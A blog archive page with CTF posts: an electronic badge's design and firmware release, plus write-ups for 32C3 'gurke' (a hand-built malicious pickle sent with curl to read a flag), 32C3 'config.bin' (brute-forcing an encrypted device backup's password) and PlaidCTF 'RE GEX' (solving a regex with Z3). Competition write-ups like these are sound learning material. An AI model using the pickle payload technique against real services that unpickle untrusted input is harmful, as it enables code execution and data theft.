X-CTF 2016 Badge Firmware

As promised, we are releasing the source code for the X-CTF badge, about 1 month after the event to give interested participants the chance to take a crack at it. If you are interested in the badge design process, check out my previous post on the hardware aspects.

Jeremias and Jeremy gave a talk at one of the Null Security meetups. Check out the slides if you haven’t already. In one part, Jeremy talks about the custom firmware he wrote for his badge and the additional challenges he set up for partipants to get more points. The 2nd part of the talk covers the electronic badge and challenges.

The Challenges

The challenges try to exploit the nature of being a self-contained electronic device. Rather than trying to replicate more CTF puzzles and simply placing them into the badge, we specially designed them for the badge.

You can find the answers to the badge puzzles (and the main CTF puzzles) in the X-CTF GitHub repo, which was released shortly after the event.

Since there’s only a single entry point into the set of challenges (meaning you must solve each puzzle before getting to the next), the puzzles must be designed with increasing levels of difficulty; too difficult and the participants will totally give up.

Stage 1: Catch Me If You Can

animation of challenge 1

I particularly like this one. Unlike a program running on the computer, you can’t easily snapshot the state of the program, nor try to influence (slow down) its execution.

Continue reading

Advertisement

Designing the X-CTF 2016 Badge

X-CTF 2016 badge with Lithium-ion battery attached

I had the opportunity to collaborate with some NUS students to design the electronic badge for their X-CTF event this year.

The purpose of the badge was to inspire more people to take an interest in hardware hacking, or to get them started on electronics. With so much hype on the Internet-of-Things (IoT) these days, what better idea than to let participants take home their very own IoT device. The super low cost WiFi chip, Expressif’s ESP8266, made this possible. We also wanted it to be shaped like a gaming device, with a D-pad and an LCD.

You can see the final badge design above: a ESP8266-based board with a backlit monochrome Nokia LCD, D-pad and a SELECT button. Powered by a lithium-ion battery, charged via the USB port, which also provides a serial connection to the ESP8266.

I was inspired by the SyScan 2015 badge. It was so simple and spartan: a monochrome LCD, an LED, a 5-way joystick switch and a 32-bit ARM processor (on the back). As the regulator was built-in and it runs all the way down to 2.4V, there was no need for an external regulator.

SyScan 2015 electronic badge

Continue reading

32C3 CTF Write-up: gurke

gurke (misc)

For this challenge, you are provided with a Python-based service that accepts a pickle and displays the result. You will need to coerce it to display the flag though, which is initialized at the start of the service.

The service can be succinctly represented as follows:

class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        self.flag = s.recv(1024).strip()
        s.close()
flag = Flag()

...

data = os.read(0, 4096)
try:
    res = pickle.loads(data)
    print 'res: %r\n' % res except Exception as e:
    print >>sys.stderr, "exception", repr(e)

In between there’s a omitted portion that uses seccomp to make sure you don’t obtain the flag through the socket connection. In essence, you need to cause the unpickling process to read the flag attribute from the Flag instance.

Pickling and unpickling is quite commonly used in Python for persistence, much like Java’s serialization mechanism. However, it is implemented in Python using a simple stack-based virtual machine. By sending a specially-crafted pickle, we can cause arbitrary code execution. The Python code to read the flag looks something like this:

a = __main__.flag
return __builtin__.getattr(a, 'flag')

This has to be converted into the Pickle VM opcodes by hand. You can see below that the pickle opcodes are quite a close match to the Python code. Also note that Python has a handy disassembler that dumps the pickle opcodes:

import pickletools

exploit = """c__main__\nflag
p100
0c__builtin__\ngetattr
(g100
S'flag'
tR."""

pickletools.dis(exploit)

  0: c    GLOBAL     '__main__ flag'
 15: p    PUT        100
 20: 0    POP
 21: c    GLOBAL     '__builtin__ getattr'
 42: (    MARK
 43: g        GET        100
 48: S        STRING     'flag'
 56: t        TUPLE      (MARK at 42)
 57: R    REDUCE
 58: .    STOP

Note that Python triple-quotes will capture newlines into the string. Now the exploit pickle needs to be placed in a file and sent off using curl to our target:

$ curl -vv -X POST --data-binary @t.pickle http://136.243.194.43/
* About to connect() to 136.243.194.43 port 80 (#0)
*   Trying 136.243.194.43... connected
* Connected to 136.243.194.43 (136.243.194.43) port 80 (#0)
> POST / HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.19.1 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
> Host: 136.243.194.43
> Accept: */*
> Content-Length: 60
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
* no chunk, no close, no size. Assume close to signal end
<
1: res: '32c3_rooDahPaeR3JaibahYeigoong'

retval: 0
* Closing connection #0

Further reading for Python pickles and security:

32C3 CTF Write-up: config.bin

config.bin (forensics)

You are provided with what they say is “a configuration backup of an embedded device”, and that “it seems to be encrypted”.

Opening the file with a hex editor to look for any magic identifiers:

00: 4346 4731 0000 32d0 ef92 7ab0 5ab6 d80d  CFG1..2...z.Z...
10: 3030 3030 3030 0000 0005 0003 0000 0000  000000..........
20: 6261 47c3 d43b af2f 9300 bcaf adf4 5c8c  baG..;./......\.
30: 3d02 9ea5 0bb7 3ce0 00f4 c5b3 901e d5fb  =.....<.........

It doesn’t look familiar, so ask Google about the CFG1 file. On the second or third results page, I found this link talking about an IAD backup file in which the backup file format resembles our mystery file.

The page further notes that encryption is done through AES-256 in ECB mode, and that the 256-bit key is the ASCII string “dummy” with the rest zero-filled. There’s even a tool to decrypt it. After downloading the tool and running it, you will soon realize that the default password doesn’t work (obviously).

Fear not. This file format is pretty helpful for us though. Notice there’s a field called password_len_be, which is the length of the AES password string and plaintext_md5, which is the MD5 hash of the decrypted data. With these 2 fields (maybe just the last one), we can automate the bruteforcing.

Our file header says that a 5 character password is used (phew), but the character set is unknown. It could be all 256 characters, or hopefully just an alphanumeric string (I assumed the latter).

I wrote a multi-threaded Golang bruteforcer (which you can download here). I guess this is the time I wish I had access to a really fast machine. After an hour, it found the password:

> go run bruteforce-cfg1.go config.bin
hdr hash = ef927ab05ab6d80d98c3be34a50db59c
data hash = 626147c3d43baf2f9300bcafadf45c8c
found password! oVX09

Decode it with the tool, and you will find a gzipped file config.tgz. After uncompressing it, I noticed the passwords were all short and didn’t have the regular 32C3_ prefix, until I found a suspiciously long one:

...
TR069_INTERFACE="nas1.20"
ACS_SERVERTYPE="default"
PROVISIONING_CODE=""
USERNAME="001C28-2021979797845"
PASSWORD="MzJDM19jNDQ2ZWRlMjMzY2RmY2IxNzdmNGQwZTU2NzQ0NjU0Mjg5YzhkZWE0YzRlZTY1MTI2NGU4\nNWU5YWU2MmFiZjc3"
CR_USERNAME="45ad2c9f00d48"
CR_PASSWORD="45ad2c9f00d48"
...

Using Python for base64 decoding:

>>> from base64 import b64decode
>>> b64decode('MzJDM19jNDQ2ZWRlMjMzY2RmY2IxNzdmNGQwZTU2NzQ0NjU0Mjg5YzhkZWE0YzRlZTY1MTI2NGU4\nNWU5YWU2MmFiZjc3')
'32C3_c446ede233cdfcb177f4d0e56744654289c8dea4c4ee651264e85e9ae62abf77'

And voila!

PlaidCTF 2015 “RE GEX” Write-up

This challenge came with a simple Python TCP server and a monstrous regex in a separate file. It consists of multiple sub-patterns (2563 to be exact), separated by OR operators1. To get the flag, the input supplied must NOT match any of these sub-patterns. If you break up the large regex expression, you see something like this:

^(.*[^plaidctf].*|
.{,170}|
.{172,}|
.{88}[padt].{60}[licf].{6}[plai].{14}|
.{60}[aitf].{17}[pldc].{85}[dctf].{6}|
    ...
.{54}[pldc].{88}[plai][aitf].{26}|
.{11}[aitf].{41}[aitf].{97}[padt].{19})$

The 3 conditions listed up front give you a hint to the requirements: must be made up of the letters plaidctf and be of length 171. Any patterns that DO match will NOT reveal the flag.

I tried the dumb way, which is to brute force the sequence. Python’s itertools.permutations killed the process, so I thought to represent the string using a large number instead, composed of 3 bits (to represent one of plaidctf) for each “character”. Python supports arbitrary sized integers, so manipulating and counting integers up to 171 * 3 bits wasn’t an issue. Well, of course that process took forever…

Z3 to the rescue!

The sane (and probably only) way to solve it was to use a theorem prover like Z3, so I decided to invest some time to play around with it, even though it was too late to submit the flag.

The regex patterns were probably emitted by some program itself, so it followed some regular syntax, which meant that I didn’t have to resort to using a regex parser. There were only 3 types of expressions used: a single character (.), n-characters (.{n}), and character classes ([xyz]). The patterns were parsed into Z3 constraints, in which we only had to restrict the character classes imposed by the each pattern at particular positions. A regex pattern like .{88}[padt].{60}[licf].{6}[plai].{14} is turned into a constraint expression like this:

    Or(And(pattern >> 246 & 7 != 0,
           pattern >> 246 & 7 != 2,
           pattern >> 246 & 7 != 4,
           pattern >> 246 & 7 != 6),
       And(pattern >> 63 & 7 != 1,
           pattern >> 63 & 7 != 3,
           pattern >> 63 & 7 != 5,
           pattern >> 63 & 7 != 7),
       And(pattern >> 42 & 7 != 0,
           pattern >> 42 & 7 != 1,
           pattern >> 42 & 7 != 2,
           pattern >> 42 & 7 != 3))

Solving this contraint yields the correct solution for this particular regex pattern. By combining all constraints with an And operator, the model will provide the correct solution for this challenge. You can see that I retained the representation of the pattern as a BitVector of length 171 * 3.

You can find my code here, which expects the regex patterns to be pre-processed and provided as input. The model took 11min 50sec to solve on my machine. With that, the server returns flag{np_hard_reg3x_ftw!!!1_ftdtatililactldtadf}.

Seeing as how Z3 is getting more popular in CTFs, I hope to use this new found ability for future challenges.

If you’d like to see what else Z3 can do, check out some of the inspiring entries on Diary of a reverse-engineer.


  1. Well it’s not really called that, but you get the point